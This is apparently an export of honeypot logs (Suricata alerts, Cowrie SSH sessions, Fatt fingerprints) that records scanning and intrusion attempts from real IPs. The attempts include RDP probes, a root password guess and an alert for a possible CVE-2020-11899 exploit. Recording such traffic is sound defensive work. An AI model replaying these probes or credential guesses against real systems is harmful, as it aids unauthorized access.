"src_port": 58010, "dest_port": 8000, "timestamp": "2021-09-20T12:15:04.710577Z", "@timestamp": "2021-09-20T12:15:04.710Z", "event_type": "http", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	http	\N	\N
36473	152.199.19.161	109.199.241.180	Suricata	2021-09-20 15:15:06.870446+03	2021-09-20 15:30:02.30387+03	{"_id": "AgYhA3wBvYTbRNuEnWN7", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"flow": {"start": "2021-09-20T12:15:06.870446+0000", "pkts_toclient": 0, "pkts_toserver": 1, "bytes_toclient": 0, "bytes_toserver": 60}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "alert": {"gid": 1, "rev": 2, "action": "allowed", "category": "Generic Protocol Command Decode", "severity": 3, "signature": "SURICATA STREAM FIN recv but no session", "signature_id": 2210037}, "geoip": {"ip": "152.199.19.161", "asn": 701, "as_org": "MCI Communications Services, Inc. d/b/a Verizon Business", "latitude": 37.751, "location": {"lat": 37.751, "lon": -97.822}, "timezone": "America/Chicago", "longitude": -97.822, "country_name": "United States", "country_code2": "US", "country_code3": "US", "continent_code": "NA"}, "proto": "TCP", "src_ip": "152.199.19.161", "stream": 0, "dest_ip": "192.168.20.147", "flow_id": 606816522881070, "payload": "", "@version": "1", "in_iface": "enp5s0", "src_port": 443, "dest_port": 62580, "timestamp": "2021-09-20T12:15:06.870446Z", "@timestamp": "2021-09-20T12:15:06.870Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": ""}}	1	\N	\N	alert	\N	US
36474	fe80:0000:0000:0000:0086:403d:72ff:040f	109.199.241.180	Suricata	2021-09-20 15:15:02.416346+03	2021-09-20 15:30:02.304867+03	{"_id": "6QYhA3wBvYTbRNuEjWLZ", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"flow": {"start": "2021-09-20T12:15:02.416346+0000", "pkts_toclient": 0, "pkts_toserver": 1, "bytes_toclient": 0, "bytes_toserver": 130}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "tags": ["_geoip_lookup_failure"], "type": "Suricata", "alert": {"gid": 1, "rev": 1, "action": "allowed", "cve_id": "CVE-2020-11899", "category": "Attempted Administrator Privilege Gain", "metadata": {"created_at": ["2020_06_22"], "updated_at": ["2020_08_20"], "former_category": ["EXPLOIT"], "performance_impact": ["Significant"], "signature_severity": ["Major"]}, "severity": 1, "signature": "ET EXPLOIT Possible CVE-2020-11899 Multicast out-of-bound read", "signature_id": 2030387}, "geoip": {}, "proto": "IPv6-ICMP", "src_ip": "fe80:0000:0000:0000:0086:403d:72ff:040f", "stream": 0, "dest_ip": "ff02:0000:0000:0000:0000:0000:0000:0016", "flow_id": 1184755911907930, "payload": "AAAAAwQAAAD/AgAAAAAAAAAAAAAAAAD7BAAAAP8CAAAAAAAAAAAAAv9Z1KsEAAAA/wIAAAAAAAA=", "@version": "1", "in_iface": "enp5s0", "icmp_code": 0, "icmp_type": 143, "timestamp": "2021-09-20T12:15:02.416346Z", "@timestamp": "2021-09-20T12:15:02.416Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": ".........................................Y.............."}}	1	\N	\N	alert	\N	\N
36475	192.168.20.109	109.199.241.180	Suricata	2021-09-20 15:15:02.52076+03	2021-09-20 15:30:02.305868+03	{"_id": "7AYhA3wBvYTbRNuEjWLZ", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "tags": ["_geoip_lookup_failure"], "type": "Suricata", "alert": {"gid": 1, "rev": 2, "action": "allowed", "category": "Generic Protocol Command Decode", "severity": 3, "signature": "SURICATA IPv4 padding required ", "signature_id": 2200007}, "geoip": {}, "proto": "IGMP", "src_ip": "192.168.20.109", "stream": 0, "dest_ip": "224.0.0.251", "@version": "1", "in_iface": "enp5s0", "timestamp": "2021-09-20T12:15:02.520760Z", "@timestamp": "2021-09-20T12:15:02.520Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": ""}}	1	\N	\N	alert	\N	\N
36476	192.168.20.116	109.199.241.180	Suricata	2021-09-20 15:15:03.707683+03	2021-09-20 15:30:02.307868+03	{"_id": "7QYhA3wBvYTbRNuEkWLC", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"flow": {"start": "2021-09-20T12:15:03.575513+0000", "pkts_toclient": 3, "pkts_toserver": 3, "bytes_toclient": 193, "bytes_toserver": 223}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "tags": ["_geoip_lookup_failure"], "type": "Suricata", "alert": {"gid": 1, "rev": 8, "action": "allowed", "category": "Misc activity", "metadata": {"created_at": ["2010_07_30"], "updated_at": ["2010_07_30"]}, "severity": 3, "signature": "ET POLICY RDP connection confirm", "signature_id": 2001330}, "geoip": {}, "proto": "TCP", "src_ip": "192.168.20.116", "stream": 0, "dest_ip": "94.232.41.165", "flow_id": 888282909493273, "payload": "AwAAEw7QAAAAAAACAAgAAAAAAA==", "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["ms.rdp.established"]}, "src_port": 3389, "dest_port": 14255, "timestamp": "2021-09-20T12:15:03.707683Z", "@timestamp": "2021-09-20T12:15:03.707Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": "..................."}}	1	\N	\N	alert	\N	\N
36477	78.83.66.198	109.199.241.180	Suricata	2021-09-20 15:15:04.710577+03	2021-09-20 15:30:02.308867+03	{"_id": "-gYhA3wBvYTbRNuElWKr", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "http": {"url": "/API/post", "length": 6, "status": 200, "hostname": "78.83.66.198", "protocol": "HTTP/1.1", "http_port": 8000, "http_method": "POST", "http_user_agent": "curl/7.64.0", "http_content_type": "text/html"}, "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "78.83.66.198", "asn": 29580, "as_org": "Mobiltel Ead", "latitude": 42.683, "location": {"lat": 42.683, "lon": 23.3175}, "timezone": "Europe/Sofia", "city_name": "Sofia", "longitude": 23.3175, "postal_code": "1000", "region_code": "22", "region_name": "Sofia-Capital", "country_name": "Bulgaria", "country_code2": "BG", "country_code3": "BG", "continent_code": "EU"}, "proto": "TCP", "src_ip": "78.83.66.198", "dest_ip": "192.168.20.116", "flow_id": 606906716875443, "@version": "1", "fileinfo": {"md5": "3c3f2943d4337318cf737f45d5b564cd", "gaps": false, "size": 6, "magic": "ASCII text, with no line terminators", "state": "CLOSED", "tx_id": 0, "stored": false, "filename": "/API/post"}, "in_iface": "enp5s0", "src_port": 8000, "app_proto": "http", "dest_port": 58010, "timestamp": "2021-09-20T12:15:04.710577Z", "@timestamp": "2021-09-20T12:15:04.710Z", "event_type": "fileinfo", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	fileinfo	\N	BG
36478	94.232.41.165	109.199.241.180	Suricata	2021-09-20 15:15:03.656545+03	2021-09-20 15:30:02.31087+03	{"_id": "7wYhA3wBvYTbRNuEkWLD", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"flow": {"start": "2021-09-20T12:15:03.575513+0000", "pkts_toclient": 1, "pkts_toserver": 3, "bytes_toclient": 66, "bytes_toserver": 223}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "alert": {"gid": 1, "rev": 9, "action": "allowed", "category": "Misc activity", "metadata": {"created_at": ["2010_07_30"], "updated_at": ["2010_07_30"]}, "severity": 3, "signature": "ET POLICY RDP connection request", "signature_id": 2001329}, "geoip": {"ip": "94.232.41.165", "asn": 48080, "as_org": "LLC Svobodnaya kassa", "latitude": 58.0033, "location": {"lat": 58.0033, "lon": 56.2478}, "timezone": "Asia/Yekaterinburg", "city_name": "Perm", "longitude": 56.2478, "postal_code": "614000", "region_code": "PER", "region_name": "Perm Krai", "country_name": "Russia", "country_code2": "RU", "country_code3": "RU", "continent_code": "EU"}, "proto": "TCP", "src_ip": "94.232.41.165", "stream": 0, "dest_ip": "192.168.20.116", "flow_id": 888282909493273, "payload": "AwAAKybgAAAAAABDb29raWU6IG1zdHNoYXNoPWhlbGxvDQoBAAgAAwAAAA==", "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["ms.rdp.established"]}, "src_port": 14255, "dest_port": 3389, "timestamp": "2021-09-20T12:15:03.656545Z", "@timestamp": "2021-09-20T12:15:03.656Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": "...+&......Cookie: mstshash=hello\\r\\n........"}}	1	\N	\N	alert	\N	RU
36479	94.232.41.165	109.199.241.180	Suricata	2021-09-20 15:15:03.787388+03	2021-09-20 15:30:02.311868+03	{"_id": "8AYhA3wBvYTbRNuEkWLD", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"flow": {"start": "2021-09-20T12:15:03.575513+0000", "pkts_toclient": 3, "pkts_toserver": 4, "bytes_toclient": 193, "bytes_toserver": 283}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "alert": {"gid": 1, "rev": 14, "action": "allowed", "cve_id": "CVE-2001-0540", "category": "Generic Protocol Command Decode", "metadata": {"created_at": ["2010_09_23"], "updated_at": ["2010_09_23"]}, "severity": 3, "signature": "GPL POLICY MS Remote Desktop Request RDP", "signature_id": 2101447}, "geoip": {"ip": "94.232.41.165", "asn": 48080, "as_org": "LLC Svobodnaya kassa", "latitude": 58.0033, "location": {"lat": 58.0033, "lon": 56.2478}, "timezone": "Asia/Yekaterinburg", "city_name": "Perm", "longitude": 56.2478, "postal_code": "614000", "region_code": "PER", "region_name": "Perm Krai", "country_name": "Russia", "country_code2": "RU", "country_code3": "RU", "continent_code": "EU"}, "proto": "TCP", "src_ip": "94.232.41.165", "stream": 1, "dest_ip": "192.168.20.116", "flow_id": 888282909493273, "payload": "AwAAKybgAAAAAABDb29raWU6IG1zdHNoYXNoPWhlbGxvDQoBAAgAAwAAAA==", "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["ms.rdp.established"]}, "src_port": 14255, "dest_port": 3389, "timestamp": "2021-09-20T12:15:03.787388Z", "@timestamp": "2021-09-20T12:15:03.787Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": "...+&......Cookie: mstshash=hello\\r\\n........"}}	1	\N	\N	alert	\N	RU
36480	152.199.19.161	109.199.241.180	Suricata	2021-09-20 15:15:06.902088+03	2021-09-20 15:30:02.312869+03	{"_id": "AQYhA3wBvYTbRNuEnWN7", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"flow": {"start": "2021-09-20T12:15:06.870446+0000", "pkts_toclient": 0, "pkts_toserver": 2, "bytes_toclient": 0, "bytes_toserver": 120}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "alert": {"gid": 1, "rev": 2, "action": "allowed", "category": "Generic Protocol Command Decode", "severity": 3, "signature": "SURICATA STREAM FIN recv but no session", "signature_id": 2210037}, "geoip": {"ip": "152.199.19.161", "asn": 701, "as_org": "MCI Communications Services, Inc. d/b/a Verizon Business", "latitude": 37.751, "location": {"lat": 37.751, "lon": -97.822}, "timezone": "America/Chicago", "longitude": -97.822, "country_name": "United States", "country_code2": "US", "country_code3": "US", "continent_code": "NA"}, "proto": "TCP", "src_ip": "152.199.19.161", "stream": 0, "dest_ip": "192.168.20.147", "flow_id": 606816522881070, "payload": "", "@version": "1", "in_iface": "enp5s0", "src_port": 443, "dest_port": 62580, "timestamp": "2021-09-20T12:15:06.902088Z", "@timestamp": "2021-09-20T12:15:06.902Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": ""}}	1	\N	\N	alert	\N	US
36481	117.22.230.94	109.199.241.180	Cowrie	2021-09-20 15:15:07.275649+03	2021-09-20 15:30:02.313869+03	{"_id": "CAYhA3wBvYTbRNuEoGNV", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "117.22.230.94", "asn": 4134, "as_org": "Chinanet", "latitude": 34.2598, "location": {"lat": 34.2598, "lon": 108.9294}, "timezone": "Asia/Shanghai", "city_name": "Xi'an", "longitude": 108.9294, "region_code": "SN", "region_name": "Shaanxi", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "117.22.230.94", "dest_ip": "192.168.176.2", "eventid": "cowrie.session.connect", "message": "New connection: 117.22.230.94:2138 (192.168.176.2:22) [session: dd36e02ec383]", "session": "dd36e02ec383", "@version": "1", "protocol": "ssh", "src_port": 2138, "dest_port": 22, "timestamp": "2021-09-20T12:15:07.275649Z", "@timestamp": "2021-09-20T12:15:07.275Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	cowrie.session.connect	\N	known attacker	CN
36494	91.231.219.157	109.199.241.180	Cowrie	2021-09-20 15:15:10.175483+03	2021-09-20 15:30:02.334868+03	{"_id": "MAYhA3wBvYTbRNuErGMQ", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "91.231.219.157", "asn": 57354, "as_org": "SYSTEMA Ltd.", "latitude": 43.6008, "location": {"lat": 43.6008, "lon": 39.7307}, "timezone": "Europe/Moscow", "city_name": "Sochi", "longitude": 39.7307, "postal_code": "354008", "region_code": "KDA", "region_name": "Krasnodarskiy Kray", "country_name": "Russia", "country_code2": "RU", "country_code3": "RU", "continent_code": "EU"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "91.231.219.157", "eventid": "cowrie.login.failed", "message": "login attempt [root/karim] failed", "session": "3e9e6ccc8c64", "@version": "1", "password": "karim", "username": "root", "timestamp": "2021-09-20T12:15:10.175483Z", "@timestamp": "2021-09-20T12:15:10.175Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.failed	\N	known attacker	RU
36482	117.22.230.94	109.199.241.180	Cowrie	2021-09-20 15:15:07.548227+03	2021-09-20 15:30:02.315867+03	{"_id": "CgYhA3wBvYTbRNuEoGNV", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "encCS": ["aes256-gcm@openssh.com", "aes128-gcm@openssh.com", "aes256-ctr", "aes192-ctr", "aes128-ctr", "aes256-cbc", "aes192-cbc", "aes128-cbc", "3des-cbc"], "geoip": {"ip": "117.22.230.94", "asn": 4134, "as_org": "Chinanet", "latitude": 34.2598, "location": {"lat": 34.2598, "lon": 108.9294}, "timezone": "Asia/Shanghai", "city_name": "Xi'an", "longitude": 108.9294, "region_code": "SN", "region_name": "Shaanxi", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "hassh": "f555226df1963d1d3c09daf865abdc9a", "macCS": ["hmac-sha2-256-etm@openssh.com", "hmac-sha2-512-etm@openssh.com", "hmac-sha1-etm@openssh.com", "hmac-sha2-256", "hmac-sha2-512", "hmac-sha1"], "compCS": ["none"], "ip_rep": "known attacker", "langCS": [""], "sensor": "b63cdd9641b8", "src_ip": "117.22.230.94", "eventid": "cowrie.client.kex", "kexAlgs": ["curve25519-sha256", "curve25519-sha256@libssh.org", "ecdh-sha2-nistp256", "ecdh-sha2-nistp384", "ecdh-sha2-nistp521", "diffie-hellman-group18-sha512", "diffie-hellman-group16-sha512", "diffie-hellman-group-exchange-sha256", "diffie-hellman-group14-sha256", "diffie-hellman-group14-sha1", "diffie-hellman-group1-sha1", "ext-info-c"], "keyAlgs": ["ssh-ed25519", "ecdsa-sha2-nistp521", "ecdsa-sha2-nistp384", "ecdsa-sha2-nistp256", "rsa-sha2-512", "rsa-sha2-256", "ssh-rsa", "ssh-dss"], "message": "SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a", "session": "dd36e02ec383", "@version": "1", "timestamp": "2021-09-20T12:15:07.548227Z", "@timestamp": "2021-09-20T12:15:07.548Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none"}}	1	\N	cowrie.client.kex	\N	known attacker	CN
36483	218.92.0.190	109.199.241.180	Cowrie	2021-09-20 15:15:07.569476+03	2021-09-20 15:30:02.31687+03	{"_id": "CwYhA3wBvYTbRNuEoGNV", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "218.92.0.190", "asn": 4134, "as_org": "Chinanet", "latitude": 32.0617, "location": {"lat": 32.0617, "lon": 118.7778}, "timezone": "Asia/Shanghai", "longitude": 118.7778, "region_code": "JS", "region_name": "Jiangsu", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "218.92.0.190", "eventid": "cowrie.client.version", "message": "Remote SSH version: b'SSH-2.0-PUTTY'", "session": "0b8168e58ef0", "version": "b'SSH-2.0-PUTTY'", "@version": "1", "timestamp": "2021-09-20T12:15:07.569476Z", "@timestamp": "2021-09-20T12:15:07.569Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.client.version	\N	known attacker	CN
36484	218.92.0.190	109.199.241.180	Suricata	2021-09-20 15:15:07.83098+03	2021-09-20 15:30:02.318867+03	{"_id": "DwYhA3wBvYTbRNuEoWNk", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "PUTTY"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "218.92.0.190", "asn": 4134, "as_org": "Chinanet", "latitude": 32.0617, "location": {"lat": 32.0617, "lon": 118.7778}, "timezone": "Asia/Shanghai", "longitude": 118.7778, "region_code": "JS", "region_name": "Jiangsu", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "proto": "TCP", "ip_rep": "known attacker", "src_ip": "218.92.0.190", "dest_ip": "192.168.20.116", "flow_id": 25664498085817, "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_server_kex"]}, "src_port": 26967, "dest_port": 22, "timestamp": "2021-09-20T12:15:07.830980Z", "@timestamp": "2021-09-20T12:15:07.830Z", "event_type": "ssh", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	ssh	known attacker	CN
36485	117.22.230.94	109.199.241.180	Suricata	2021-09-20 15:15:07.547675+03	2021-09-20 15:30:02.319868+03	{"_id": "EgYhA3wBvYTbRNuEoWNk", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "libssh_0.9.6"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "flow": {"start": "2021-09-20T12:15:07.006106+0000", "pkts_toclient": 3, "pkts_toserver": 5, "bytes_toclient": 821, "bytes_toserver": 1336}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "alert": {"gid": 1, "rev": 8, "action": "allowed", "category": "Misc activity", "metadata": {"created_at": ["2010_07_30"], "updated_at": ["2010_07_30"]}, "severity": 3, "signature": "ET POLICY SSH session in progress on Expected Port", "signature_id": 2001978}, "geoip": {"ip": "117.22.230.94", "asn": 4134, "as_org": "Chinanet", "latitude": 34.2598, "location": {"lat": 34.2598, "lon": 108.9294}, "timezone": "Asia/Shanghai", "city_name": "Xi'an", "longitude": 108.9294, "region_code": "SN", "region_name": "Shaanxi", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "proto": "TCP", "ip_rep": "known attacker", "src_ip": "117.22.230.94", "stream": 0, "dest_ip": "192.168.20.116", "flow_id": 1290689133090778, "payload": "AAADzAYUhqcLIvlS1o2uTU3MGhx7ngAAAShjdXJ2ZTI1NTE5LXNoYTI1NixjdXJ2ZTI1NTE5LXNoYTI1NkBsaWJzc2gub3JnLGVjZGgtc2hhMi1uaXN0cDI1NixlY2RoLXNoYTItbmlzdHAzODQsZWNkaC1zaGEyLW5pc3RwNTIxLGRpZmZpZS1oZWxsbWFuLWdyb3VwMTgtc2hhNTEyLGRpZmZpZS1oZWxsbWFuLWdyb3VwMTYtc2hhNTEyLGRpZmZpZS1oZWxsbWFuLWdyb3VwLWV4Y2hhbmdlLXNoYTI1NixkaWZmaWUtaGVsbG1hbi1ncm91cDE0LXNoYTI1NixkaWZmaWUtaGVsbG1hbi1ncm91cDE0LXNoYTEsZGlmZmllLWhlbGxtYW4tZ3JvdXAxLXNoYTEsZXh0LWluZm8tYwAAAHFzc2gtZWQyNTUxOSxlY2RzYS1zaGEyLW5pc3RwNTIxLGVjZHNhLXNoYTItbmlzdHAzODQsZWNkc2Etc2hhMi1uaXN0cDI1Nixyc2Etc2hhMi01MTIscnNhLXNoYTItMjU2LHNzaC1yc2Esc3NoLWRzcwAAAHhhZXMyNTYtZ2NtQG9wZW5zc2guY29tLGFlczEyOC1nY21Ab3BlbnNzaC5jb20sYWVzMjU2LWN0cixhZXMxOTItY3RyLGFlczEyOC1jdHIsYWVzMjU2LWNiYyxhZXMxOTItY2JjLGFlczEyOC1jYmMsM2Rlcy1jYmMAAAB4YWVzMjU2LWdjbUBvcGVuc3NoLmNvbSxhZXMxMjgtZ2NtQG9wZW5zc2guY29tLGFlczI1Ni1jdHIsYWVzMTkyLWN0cixhZXMxMjgtY3RyLGFlczI1Ni1jYmMsYWVzMTkyLWNiYyxhZXMxMjgtY2JjLDNkZXMtY2JjAAAAe2htYWMtc2hhMi0yNTYtZXRtQG9wZW5zc2guY29tLGhtYWMtc2hhMi01MTItZXRtQG9wZW5zc2guY29tLGhtYWMtc2hhMS1ldG1Ab3BlbnNzaC5jb20saG1hYy1zaGEyLTI1NixobWFjLXNoYTItNTEyLGhtYWMtc2hhMQAAAHtobWFjLXNoYTItMjU2LWV0bUBvcGVuc3NoLmNvbSxobWFjLXNoYTItNTEyLWV0bUBvcGVuc3NoLmNvbSxobWFjLXNoYTEtZXRtQG9wZW5zc2guY29tLGhtYWMtc2hhMi0yNTYsaG1hYy1zaGEyLTUxMixobWFjLXNoYTEAAAAEbm9uZQAAAARub25lAAAAAAAAAAAAAAAAAAAAAAAAAA==", "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_server_kex"]}, "src_port": 2138, "app_proto": "ssh", "dest_port": 22, "timestamp": "2021-09-20T12:15:07.547675Z", "@timestamp": "2021-09-20T12:15:07.547Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": ".........\\".R...MM...{....(curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c...qssh-ed25519,ecdsa-sha2-nistp521,ecdsa-sha2-nistp384,ecdsa-sha2-nistp256,rsa-sha2-512,rsa-sha2-256,ssh-rsa,ssh-dss...xaes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc...xaes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc...{hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1...{hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1....none....none..................."}}	1	\N	\N	alert	known attacker	CN
36486	192.168.20.116	109.199.241.180	Fatt	2021-09-20 15:15:07.279547+03	2021-09-20 15:30:02.322867+03	{"_id": "EwYhA3wBvYTbRNuEomNk", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "117.22.230.94", "@version": "1", "fatt_ssh": {"skex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1", "slcts": "[Empty]", "slstc": "[Empty]", "sshka": "ssh-rsa,ssh-dss", "scacts": "zlib@openssh.com,zlib,none", "scastc": "zlib@openssh.com,zlib,none", "seacts": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "seastc": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "server": "SSH-2.0-OpenSSH_7.9p1", "smacts": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "smastc": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "hasshServer": "a4820aa8e920a4c1b6ea9367bde49ef2", "hasshVersion": "1.0", "hasshServerAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc;hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 22, "dest_port": 2138, "timestamp": "2021-09-20T12:15:07.279547", "@timestamp": "2021-09-20T12:15:07.279Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
36487	61.133.192.126	109.199.241.180	Fatt	2021-09-20 15:15:08.007458+03	2021-09-20 15:30:02.324867+03	{"_id": "FAYhA3wBvYTbRNuEomNk", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "type": "Fatt", "geoip": {"ip": "61.133.192.126", "asn": 4134, "as_org": "Chinanet", "latitude": 38.4681, "location": {"lat": 38.4681, "lon": 106.2731}, "timezone": "Asia/Shanghai", "longitude": 106.2731, "region_code": "NX", "region_name": "Ningxia Hui Autonomous Region", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "src_ip": "61.133.192.126", "dest_ip": "192.168.20.116", "@version": "1", "fatt_rdp": {"requestedProtocols": "0x00000003"}, "protocol": "rdp", "src_port": 55571, "dest_port": 3389, "timestamp": "2021-09-20T12:15:08.007458", "@timestamp": "2021-09-20T12:15:08.007Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	rdp	\N	\N	\N	CN
